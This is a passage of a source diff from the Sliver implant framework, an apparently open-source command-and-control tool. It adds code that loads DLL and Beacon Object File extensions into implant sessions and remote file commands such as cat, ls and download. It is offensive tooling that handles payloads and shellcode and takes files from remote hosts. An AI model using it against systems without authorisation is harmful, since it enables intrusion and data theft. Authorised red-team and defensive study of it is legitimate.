+    │   └── extension.x86.dll
+    └── amd64
+        └── extension.x64.dll
+```
+
+The extension folder structure must follow the `GOOS/GOARCH/` scheme.
+
+Here's an example manifest:
+
+```json
+[
+{
+    "name": "foo",
+    "help": "Help for foo command",
+    "entrypoint": "RunFoo",
+    "init" :"NimMain",
+    "dependsOn": "bar",
+    "files": [
+        {
+            "os": "windows",
+            "files":{
+                "x86": "extension.x86.o",
+                "x64": "extension.x64.o",
+            }
+        }
+    ],
+    "arguments": [
+        {"name": "pid", "type": "int", "desc": "pid", "optional": false},
+    ]
+}
+]
+```
+
+The structure is the following one:
+
+- `name`: name of the extension, which will also be the name of the command in the sliver client
+- `help`: the documentation for the new command
+- `entrypoint`: the name of the exported function to call
+- `files`: a list of object pointing to the extensions files to load for each architectures and operating systems
+- `init`: the initialization function name (if relevant, can be omitted)
+- `arguments`: an optional list of objects (for DLLs), but mandatory for BOFs
+- `dependsOn`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
+
+The `type` of an argument can be one of the following:
+
+- `string`: regular ASCII string
+- `wstring`: string that will be UTF16 encoded
+- `int`: will be parsed as a 32 bit unsigned integer
+- `short`: will be parsed as a 16 bit unsigned integer
+- `file`: a string to a file path on the client side which content will be passed to the BOF

client/command/extensions/load.go

@@ -0,0 +1,463 @@
+package extensions
+
+import (
+	"bytes"
+	"context"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"io/ioutil"
+	"os"
+	"path"
+	"path/filepath"
+	"strings"
+
+	"github.com/bishopfox/sliver/client/console"
+	consts "github.com/bishopfox/sliver/client/constants"
+	"github.com/bishopfox/sliver/client/core"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+)
+
+const (
+	defaultTimeout = 60
+)
+
+var commandMap map[string]extensionCommand
+
+type extensionCommand struct {
+	Name       string              `json:"name"`
+	Help       string              `json:"help"`
+	Files      []extensionFiles    `json:"extFiles"`
+	Arguments  []extensionArgument `json:"arguments"`
+	Entrypoint string              `json:"entrypoint"`
+	DependsOn  string              `json:"dependsOn"`
+	Init       string              `json:"init"`
+	Path       string
+}
+type binFiles struct {
+	Ext64Path string `json:"x64"`
+	Ext32Path string `json:"x86"`
+}
+
+type extensionFiles struct {
+	OS    string   `json:"os"`
+	Files binFiles `json:"files"`
+}
+
+type extensionArgument struct {
+	Name     string `json:"name"`
+	Type     string `json:"type"`
+	Desc     string `json:"desc"`
+	Optional bool   `json:"optional"`
+}
+
+func (e *extensionCommand) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
+	for _, ef := range e.Files {
+		if targetOS == ef.OS {
+			switch targetArch {
+			case "386":
+				filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext32Path)
+			case "amd64":
+				filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
+			default:
+				filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
+			}
+		}
+	}
+	if filePath == "" {
+		err = fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
+	}
+	return
+}
+
+func LoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	dirPath := ctx.Args.String("dir-path")
+	extCmds, err := ParseExtensions(dirPath)
+	if err != nil {
+		return
+	}
+
+	for _, extCmd := range extCmds {
+		// do not add if the command already exists
+		if cmdExists(extCmd.Name, con.App) {
+			con.PrintErrorf("%s command already exists\n", extCmd.Name)
+			continue
+		}
+		RegisterExtensionCommand(extCmd, con)
+		con.PrintInfof("Added %s command: %s\n", extCmd.Name, extCmd.Help)
+	}
+}
+
+func ParseExtensions(extPath string) ([]*extensionCommand, error) {
+	manifestPath := filepath.Join(extPath, "manifest.json")
+	jsonBytes, err := ioutil.ReadFile(manifestPath)
+	if err != nil {
+		return nil, err
+	}
+	extensionsCmds := make([]*extensionCommand, 0)
+	err = json.Unmarshal(jsonBytes, &extensionsCmds)
+	if err != nil {
+		return nil, err
+	}
+	for _, extCmd := range extensionsCmds {
+		extCmd.Path = extPath
+		commandMap[extCmd.Name] = *extCmd
+	}
+	return extensionsCmds, nil
+}
+
+func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConsoleClient) {
+	commandMap[extCmd.Name] = *extCmd
+	helpMsg := extCmd.Help
+	extensionCmd := &grumble.Command{
+		Name: extCmd.Name,
+		Help: helpMsg,
+		Run: func(extCtx *grumble.Context) error {
+			con.Println()
+			runExtensionCmd(extCtx, con)
+			con.Println()
+			return nil
+		},
+		Flags: func(f *grumble.Flags) {
+			f.Bool("s", "save", false, "Save output to disk")
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			if len(extCmd.Arguments) > 0 {
+				// BOF specific
+				for _, arg := range extCmd.Arguments {
+					var (
+						argFunc      func(string, string, ...grumble.ArgOption)
+						defaultValue grumble.ArgOption
+					)
+					switch arg.Type {
+					case "int", "short":
+						argFunc = a.Int
+						defaultValue = grumble.Default(0)
+					case "string", "wstring", "file":
+						argFunc = a.String
+						defaultValue = grumble.Default("")
+					}
+					if arg.Optional {
+						argFunc(arg.Name, arg.Desc, defaultValue)
+					} else {
+						argFunc(arg.Name, arg.Desc)
+					}
+				}
+			} else {
+				a.StringList("arguments", "arguments", grumble.Default([]string{}))
+			}
+		},
+		HelpGroup: consts.ExtensionHelpGroup,
+	}
+	con.App.AddCommand(extensionCmd)
+}
+
+func ListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		con.PrintErrorf("Error: %s", err)
+		return
+	}
+
+	if extList.Response != nil && extList.Response.Err != "" {
+		con.PrintErrorf("Error: %s", extList.Response.Err)
+		return
+	}
+	if len(extList.Names) > 0 {
+		con.PrintInfof("Loaded extensions:\n")
+		for _, ext := range extList.Names {
+			con.Printf("- %s\n", ext)
+		}
+	}
+}
+
+func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *extensionCommand) error {
+	var extensionList []string
+	binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
+	if err != nil {
+		return err
+	}
+	// Try to find the extension in the loaded extensions
+	if len(session.Extensions) == 0 {
+		extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
+			Request: con.ActiveTarget.Request(ctx),
+		})
+		if err != nil {
+			con.PrintErrorf("Error: %s\n", err.Error())
+			return err
+		}
+		if extList.Response != nil && extList.Response.Err != "" {
+			return errors.New(extList.Response.Err)
+		}
+		extensionList = extList.Names
+	} else {
+		extensionList = session.Extensions
+	}
+	depLoaded := false
+	for _, extName := range extensionList {
+		if !depLoaded && extName == ext.DependsOn {
+			depLoaded = true
+		}
+		if ext.Name == extName {
+			return nil
+		}
+	}
+	// Extension not found, let's load it
+	if filepath.Ext(binPath) == ".o" {
+		// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
+		// Auto load the coff loader if we have it
+		if !depLoaded {
+			if errLoad := loadDep(session, con, ctx, ext.DependsOn); errLoad != nil {
+				return errLoad
+			}
+		}
+		return nil
+	}
+	binData, err := ioutil.ReadFile(binPath)
+	if err != nil {
+		return err
+	}
+	if errRegister := registerExtension(con, ext, binData, session, ctx); errRegister != nil {
+		return errRegister
+	}
+	// Update session info
+	if filepath.Ext(binPath) != ".o" {
+		// Don't update session for BOFs, we don't cache them
+		// on the implant side (yet)
+		// update the Session info
+		_, err = con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
+			Extensions: extensionList,
+			SessionID:  session.ID,
+		})
+		if err != nil {
+			con.PrintErrorf("Error: %s\n", err.Error())
+			return err
+		}
+	}
+	return nil
+}
+
+func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
+	registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
+		Name:    ext.Name,
+		Data:    binData,
+		OS:      session.OS,
+		Init:    ext.Init,
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	if err != nil {
+		return err
+	}
+	if registerResp.Response != nil && registerResp.Response.Err != "" {
+		return errors.New(registerResp.Response.Err)
+	}
+	return nil
+}
+
+func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
+	depExt, f := commandMap[depName]
+	if f {
+		depBinPath, err := depExt.getFileForTarget(depExt.Name, session.OS, session.Arch)
+		if err != nil {
+			return err
+		}
+		depBinData, err := ioutil.ReadFile(depBinPath)
+		if err != nil {
+			return err
+		}
+		return registerExtension(con, &depExt, depBinData, session, ctx)
+	}
+	return fmt.Errorf("missing dependency %s", depName)
+}
+
+func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var (
+		callExtension *sliverpb.CallExtension
+		err           error
+		extensionArgs []byte
+		extName       string
+		entryPoint    string
+	)
+	session := con.ActiveTarget.GetSessionInteractive()
+	if session == nil {
+		return
+	}
+
+	ext, ok := commandMap[ctx.Command.Name]
+	if !ok {
+		con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
+		return
+	}
+
+	if err = loadExtension(ctx, session, con, &ext); err != nil {
+		con.PrintErrorf("Could not load extension: %s\n", err)
+		return
+	}
+
+	var outFilePath *os.File
+	if ctx.Flags.Bool("save") {
+		outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
+		outFilePath, err = ioutil.TempFile("", outFile)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+
+	isBOF := filepath.Ext(binPath) == ".o"
+
+	// BOFs (Beacon Object Files) are a specific kind of extensions
+	// that require another extension (a COFF loader) to be present.
+	// BOFs also have strongly typed arguments that need to be parsed in the proper way.
+	// This block will pack both the BOF data and its arguments into a single buffer that
+	// the loader will extract and load.
+	if isBOF {
+		// Beacon Object File -- requires a COFF loader
+		extensionArgs, err = getBOFArgs(ctx, binPath, ext)
+		if err != nil {
+			con.PrintErrorf("Error: %s\n", err)
+			return
+		}
+		extName = ext.DependsOn
+		entryPoint = commandMap[extName].Entrypoint // should exist at this point
+	} else {
+		// Regular DLL
+		extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
+		extensionArgs = []byte(extArgs)
+		extName = ext.Name
+		entryPoint = ext.Entrypoint
+	}
+	ctrl := make(chan bool)
+	msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
+	con.SpinUntil(msg, ctrl)
+	callExtension, err = con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
+		Name:    extName,
+		Export:  entryPoint,
+		Args:    extensionArgs,
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("Error: %s\n", err.Error())
+		return
+	}
+	if callExtension.Response != nil && callExtension.Response.Err != "" {
+		con.PrintErrorf("Error: %s\n", callExtension.Response.Err)
+		return
+	}
+	con.PrintInfof("Successfully executed %s\n", extName)
+	if len(callExtension.Output) > 0 {
+		con.PrintInfof("Got output:\n%s", string(callExtension.Output))
+		if outFilePath != nil {
+			outFilePath.Write(callExtension.Output)
+			con.PrintInfof("Output saved to %s\n", outFilePath.Name())
+		}
+	}
+}
+
+func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]byte, error) {
+	var extensionArgs []byte
+	binData, err := ioutil.ReadFile(binPath)
+	if err != nil {
+		return nil, err
+	}
+	argsBuffer := core.BOFArgsBuffer{
+		Buffer: new(bytes.Buffer),
+	}
+	// Parse BOF arguments from grumble
+	for _, arg := range ext.Arguments {
+		switch arg.Type {
+		case "int":
+			val := ctx.Args.Int(arg.Name)
+			err = argsBuffer.AddInt(uint32(val))
+			if err != nil {
+				return nil, err
+			}
+		case "short":
+			val := ctx.Args.Int(arg.Name)
+			err = argsBuffer.AddShort(uint16(val))
+			if err != nil {
+				return nil, err
+			}
+		case "string":
+			val := ctx.Args.String(arg.Name)
+			err = argsBuffer.AddString(val)
+			if err != nil {
+				return nil, err
+			}
+		case "wstring":
+			val := ctx.Args.String(arg.Name)
+			err = argsBuffer.AddWString(val)
+			if err != nil {
+				return nil, err
+			}
+		// Adding support for filepaths so we can
+		// send binary data like shellcodes to BOFs
+		case "file":
+			val := ctx.Args.String(arg.Name)
+			data, err := ioutil.ReadFile(val)
+			if err != nil {
+				return nil, err
+			}
+			err = argsBuffer.AddData(data)
+			if err != nil {
+				return nil, err
+			}
+		}
+	}
+	parsedArgs, err := argsBuffer.GetBuffer()
+	if err != nil {
+		return nil, err
+	}
+	// Now build the extension's argument buffer
+	extensionArgsBuffer := core.BOFArgsBuffer{
+		Buffer: new(bytes.Buffer),
+	}
+	err = extensionArgsBuffer.AddString(ext.Entrypoint)
+	if err != nil {
+		return nil, err
+	}
+	err = extensionArgsBuffer.AddData(binData)
+	if err != nil {
+		return nil, err
+	}
+	err = extensionArgsBuffer.AddData(parsedArgs)
+	if err != nil {
+		return nil, err
+	}
+	extensionArgs, err = extensionArgsBuffer.GetBuffer()
+	if err != nil {
+		return nil, err
+	}
+	return extensionArgs, nil
+
+}
+
+func cmdExists(name string, app *grumble.App) bool {
+	for _, c := range app.Commands().All() {
+		if name == c.Name {
+			return true
+		}
+	}
+	return false
+}
+
+func init() {
+	commandMap = make(map[string]extensionCommand)
+}

client/command/filesystem/README.md

@@ -0,0 +1,4 @@
+Filesystem
+==========
+
+This package implements file system commands such as `ls`, `cd`, `rm`, `download`, `upload`, etc.

client/command/filesystem/cat.go

@@ -0,0 +1,131 @@
+package filesystem
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"encoding/hex"
+	"fmt"
+	"os"
+
+	"github.com/alecthomas/chroma/formatters"
+	"github.com/alecthomas/chroma/lexers"
+	"github.com/alecthomas/chroma/styles"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/util/encoders"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// CatCmd - Display the contents of a remote file
+func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	filePath := ctx.Args.String("path")
+	if filePath == "" {
+		con.PrintErrorf("Missing parameter: file name\n")
+		return
+	}
+
+	download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Path:    filePath,
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if download.Response != nil && download.Response.Async {
+		con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, download)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintCat(download, ctx, con)
+		})
+		con.PrintAsyncResponse(download.Response)
+	} else {
+		PrintCat(download, ctx, con)
+	}
+}
+
+// PrintCat - Print the download to stdout
+func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var err error
+	if download.Response != nil && download.Response.Err != "" {
+		con.PrintErrorf("%s\n", download.Response.Err)
+		return
+	}
+	if download.Encoder == "gzip" {
+		download.Data, err = new(encoders.Gzip).Decode(download.Data)
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}
+	if ctx.Flags.Bool("colorize-output") {
+		if err = colorize(download); err != nil {
+			con.Println(string(download.Data))
+		}
+	} else {
+		if ctx.Flags.Bool("hex") {
+			con.Println(hex.Dump(download.Data))
+		} else {
+			con.Println(string(download.Data))
+		}
+	}
+}
+
+func colorize(f *sliverpb.Download) error {
+	lexer := lexers.Match(f.GetPath())
+	if lexer == nil {
+		lexer = lexers.Analyse(string(f.GetData()))
+		if lexer == nil {
+			lexer = lexers.Fallback
+		}
+	}
+	style := styles.Get("monokai")
+	if style == nil {
+		style = styles.Fallback
+	}
+	formatter := formatters.Get("terminal16m")
+	if formatter == nil {
+		formatter = formatters.Fallback
+	}
+	if lexer != nil {
+		iterator, err := lexer.Tokenise(nil, string(f.GetData()))
+		if err != nil {
+			return err
+		}
+		err = formatter.Format(os.Stdout, style, iterator)
+		if err != nil {
+			return err
+		}
+	} else {
+		return fmt.Errorf("no lexer found")
+	}
+	return nil
+}

client/command/filesystem/cd.go

@@ -0,0 +1,61 @@
+package filesystem
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// CdCmd - Change directory on the remote system
+func CdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+	filePath := ctx.Args.String("path")
+
+	pwd, err := con.Rpc.Cd(context.Background(), &sliverpb.CdReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Path:    filePath,
+	})
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if pwd.Response != nil && pwd.Response.Async {
+		con.AddBeaconCallback(pwd.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, pwd)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintPwd(pwd, con)
+		})
+		con.PrintAsyncResponse(pwd.Response)
+	} else {
+		PrintPwd(pwd, con)
+	}
+}

client/command/filesystem/download.go

@@ -0,0 +1,135 @@
+package filesystem
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+	"fmt"
+	"os"
+	"path"
+	"path/filepath"
+
+	"github.com/AlecAivazis/survey/v2"
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/util/encoders"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// DownloadCmd - Download a file from the remote system
+func DownloadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	remotePath := ctx.Args.String("remote-path")
+	localPath := ctx.Args.String("local-path")
+
+	src := remotePath
+	fileName := filepath.Base(src)
+	dst, _ := filepath.Abs(localPath)
+	fi, err := os.Stat(dst)
+	if err != nil && !os.IsNotExist(err) {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if err == nil && fi.IsDir() {
+		dst = path.Join(dst, fileName)
+	}
+
+	ctrl := make(chan bool)
+	con.SpinUntil(fmt.Sprintf("%s -> %s", fileName, dst), ctrl)
+	download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Path:    remotePath,
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if download.Response != nil && download.Response.Async {
+		con.AddBeaconCallback(download.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, download)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintDownload(download, ctx, con)
+		})
+		con.PrintAsyncResponse(download.Response)
+	} else {
+		PrintDownload(download, ctx, con)
+	}
+}
+
+// PrintDownload - Print the download response, and save file to disk
+func PrintDownload(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	if download.Response != nil && download.Response.Err != "" {
+		con.PrintErrorf("%s\n", download.Response.Err)
+		return
+	}
+
+	remotePath := ctx.Args.String("remote-path")
+	localPath := ctx.Args.String("local-path")
+
+	src := remotePath
+	fileName := filepath.Base(src)
+	dst, _ := filepath.Abs(localPath)
+	fi, err := os.Stat(dst)
+	if err != nil && !os.IsNotExist(err) {
+		con.PrintErrorf("%s\n", err)
+		return
+	}
+	if err == nil && fi.IsDir() {
+		dst = path.Join(dst, fileName)
+	}
+	if _, err := os.Stat(dst); err == nil {
+		overwrite := false
+		prompt := &survey.Confirm{Message: "Overwrite local file?"}
+		survey.AskOne(prompt, &overwrite, nil)
+		if !overwrite {
+			return
+		}
+	}
+	if download.Encoder == "gzip" {
+		download.Data, err = new(encoders.Gzip).Decode(download.Data)
+		if err != nil {
+			con.PrintErrorf("Decoding failed %s", err)
+			return
+		}
+	}
+	dstFile, err := os.Create(dst)
+	if err != nil {
+		con.PrintErrorf("Failed to open local file %s: %s\n", dst, err)
+		return
+	}
+	defer dstFile.Close()
+	n, err := dstFile.Write(download.Data)
+	if err != nil {
+		con.PrintErrorf("Failed to write data %v\n", err)
+	} else {
+		con.PrintInfof("Wrote %d bytes to %s\n", n, dstFile.Name())
+	}
+}

client/command/filesystem/ls.go

@@ -0,0 +1,202 @@
+package filesystem
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"bytes"
+	"context"
+	"fmt"
+	"path/filepath"
+	"sort"
+	"strings"
+	"text/tabwriter"
+	"time"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/bishopfox/sliver/util"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// LsCmd - List the contents of a remote directory
+func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+
+	remotePath := ctx.Args.String("path")
+	filter := ""
+
+	/*
+		Check to see if the remote path is a filter or contains a filter.
+		If the path passes the test to be a filter, then it is a filter
+		because paths are not valid filters.
+	*/
+	if remotePath != "." {
+
+		// Check if the path contains a filter
+		// Test on a standardized version of the path (change any \ to /)
+		testPath := strings.Replace(remotePath, "\\", "/", -1)
+		/*
+			Cannot use the path or filepath libraries because the OS
+			of the client does not necessarily match the OS of the
+			implant
+		*/
+		lastSeparatorOccurrence := strings.LastIndex(testPath, "/")
+
+		if lastSeparatorOccurrence == -1 {
+			// Then this is only a filter
+			filter = remotePath
+			remotePath = "."
+		} else {
+			// Then we need to test for a filter on the end of the string
+
+			// The indicies should be the same because we did not change the length of the string
+			baseDir := remotePath[:lastSeparatorOccurrence+1]
+			potentialFilter := remotePath[lastSeparatorOccurrence+1:]
+
+			_, err := filepath.Match(potentialFilter, "")
+
+			if err == nil {
+				// Then we have a filter on the end of the path
+				remotePath = baseDir
+				filter = potentialFilter
+			}
+		}
+	}
+
+	ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
+		Request: con.ActiveTarget.Request(ctx),
+		Path:    remotePath,
+	})
+	if err != nil {
+		con.PrintWarnf("%s\n", err)
+		return
+	}
+	if ls.Response != nil && ls.Response.Async {
+		con.AddBeaconCallback(ls.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, ls)
+			if err != nil {
+				con.PrintErrorf("Failed to decode response %s\n", err)
+				return
+			}
+			PrintLs(ls, ctx.Flags, filter, con)
+		})
+		con.PrintAsyncResponse(ls.Response)
+	} else {
+		PrintLs(ls, ctx.Flags, filter, con)
+	}
+}
+
+// PrintLs - Display an sliverpb.Ls object
+func PrintLs(ls *sliverpb.Ls, flags grumble.FlagMap, filter string, con *console.SliverConsoleClient) {
+	if ls.Response != nil && ls.Response.Err != "" {
+		con.PrintErrorf("%s\n", ls.Response.Err)
+		return
+	}
+
+	con.Printf("%s\n", ls.Path)
+	con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
+
+	outputBuf := bytes.NewBufferString("")
+	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
+
+	// Extract the flags
+	reverseSort := flags.Bool("reverse")
+	sortByTime := flags.Bool("modified")
+	sortBySize := flags.Bool("size")
+
+	/*
+		By default, name sorting is case sensitive.  Upper case entries come before
+		lower case ones.  Instead, we will level the playing field and sort
+		regardless of case
+	*/
+	if reverseSort {
+		sort.SliceStable(ls.Files, func(i, j int) bool {
+			return strings.ToLower(ls.Files[i].Name) > strings.ToLower(ls.Files[j].Name)
+		})
+	} else {
+		sort.SliceStable(ls.Files, func(i, j int) bool {
+			return strings.ToLower(ls.Files[i].Name) < strings.ToLower(ls.Files[j].Name)
+		})
+	}
+
+	/*
+		After names are sorted properly, take care of the modified time if the
+		user wants to sort by time.  Doing this after sorting by name
+		will make the time sorted entries properly sorted by name if times are equal.
+	*/
+
+	if sortByTime {
+		if reverseSort {
+			sort.SliceStable(ls.Files, func(i, j int) bool {
+				return ls.Files[i].ModTime > ls.Files[j].ModTime
+			})
+		} else {
+			sort.SliceStable(ls.Files, func(i, j int) bool {
+				return ls.Files[i].ModTime < ls.Files[j].ModTime
+			})
+		}
+	} else if sortBySize {
+		if reverseSort {
+			sort.SliceStable(ls.Files, func(i, j int) bool {
+				return ls.Files[i].Size > ls.Files[j].Size
+			})
+		} else {
+			sort.SliceStable(ls.Files, func(i, j int) bool {
+				return ls.Files[i].Size < ls.Files[j].Size
+			})
+		}
+	}
+
+	for _, fileInfo := range ls.Files {
+		if filter != "" {
+			fileMatch, err := filepath.Match(filter, fileInfo.Name)
+
+			if err != nil {
+				/*
+					This should not happen because we checked the filter
+					before reaching out to the implant.
+				*/
+				con.PrintErrorf("%s is not a valid filter: %s\n", filter, err)
+				break
+			}
+
+			if !fileMatch {
+				continue
+			}
+		}
+
+		modTime := time.Unix(fileInfo.ModTime, 0)
+		implantLocation := time.FixedZone(ls.Timezone, int(ls.TimezoneOffset))
+		modTime = modTime.In(implantLocation)
+
+		if fileInfo.IsDir {
+			fmt.Fprintf(table, "%s\t%s\t<dir>\t%s\n", fileInfo.Mode, fileInfo.Name, modTime.Format(time.RubyDate))
+		} else {
+			fmt.Fprintf(table, "%s\t%s\t%s\t%s\n", fileInfo.Mode, fileInfo.Name, util.ByteCountBinary(fileInfo.Size), modTime.Format(time.RubyDate))
+		}
+	}
+	table.Flush()
+	con.Printf("%s\n", outputBuf.String())
+}

client/command/filesystem/mkdir.go

@@ -0,0 +1,76 @@
+package filesystem
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2019  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+
+	"github.com/desertbit/grumble"
+)
+
+// MkdirCmd - Make a remote directory
